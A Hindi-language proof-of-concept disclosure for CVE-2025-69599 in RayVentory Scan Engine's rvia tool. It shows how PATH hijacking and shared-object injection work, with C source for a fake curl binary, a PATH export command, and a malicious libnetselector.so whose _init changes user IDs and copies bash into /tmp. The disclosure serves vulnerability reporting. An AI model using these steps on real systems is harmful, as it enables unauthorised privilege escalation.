
CVE-2025-69599 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो RayVentory Scan Engine में अनियंत्रित खोज पथ तत्व को PATH हाइजैकिंग और शेयर्ड ऑब्जेक्ट इंजेक्शन के माध्यम से विशेषाधिकार वृद्धि के लिए प्रदर्शित करता है।
rvia Raynet में अनियंत्रित खोज पथ तत्व (Uncontrolled Search Path Element) समस्या के लिए संवेदनशील है। जब साझा ऑब्जेक्ट लोड करते हैं और सिस्टम बाइनरीज़ (जैसे .so, और सहायक बाइनरीज़) को कॉल करते हैं, तो उन्हें सापेक्ष पथों का उपयोग करके बुलाया जाता है, जो एक उपयोगकर्ता को PATH पर्यावरण चर में हेरफेर के माध्यम से अंतिम बाइनरी या .so ऑब्जेक्ट के साथ छेड़छाड़ करने की अनुमति देता है।

निम्नलिखित साक्ष्य में, /tmp निर्देशिका में curl नामक एक मनमाना बाइनरी बनाया गया है।
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compiling the binary
PATH चर को इस प्रकार बदला जाता है कि rvia द्वारा कॉल करने पर curl कमांड की खोज के लिए पहली निर्देशिका /tmp हो।
export PATH=/tmp:$PATH
और उसके बाद /opt/rvia/rvia getconfig का कॉल हमारे छेड़छाड़ किए गए curl बाइनरी का उपयोग करेगा।

यही बात upload विकल्प पर भी लागू होती है।

यही समस्या rvia inventory विकल्प के उपयोग पर भी पाई जाती है, जो अंतर्निहित रूप से ndtrack बाइनरी को कॉल करता है। ndtrack बाइनरी cat और sh कमांड को सापेक्ष पथ का उपयोग करके कॉल करता है।


अंत में, यह भी पता चला कि ndtrack बाइनरी सापेक्ष पथों का उपयोग करके साझा ऑब्जेक्ट .so फ़ाइलों को शामिल कर रही है।

निम्नलिखित साक्ष्य में libnetselector.so के सापेक्ष कॉल को बदलने के लिए उठाए गए कदमों को देखना संभव है (libuploader.so के साथ भी समान क्रियाएं करना संभव है)। इस मामले में एक कस्टम साझा ऑब्जेक्ट बनाया जाता है, जब इस साझा ऑब्जेक्ट को निष्पादित किया जाता है तो /tmp निर्देशिका में bash_so_hijack के रूप में bash की एक प्रतिलिपि बनाई जाएगी।
निम्नलिखित libnetselector.so नामक कस्टम साझा ऑब्जेक्ट बनाने के लिए C कोड है।
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object

यह ध्यान रखना महत्वपूर्ण है कि, यह केवल ndtrack को सीधे कॉल करने पर काम करता है, क्योंकि जब inventory विकल्प का आह्वान किया जाता है, तो /opt/rvia पर ndtrack नामक एक bash स्क्रिप्ट को कॉल किया जाता है, जो ndtrack बाइनरी को कॉल करने से पहले PATH पर्यावरण चर सेट करता है।
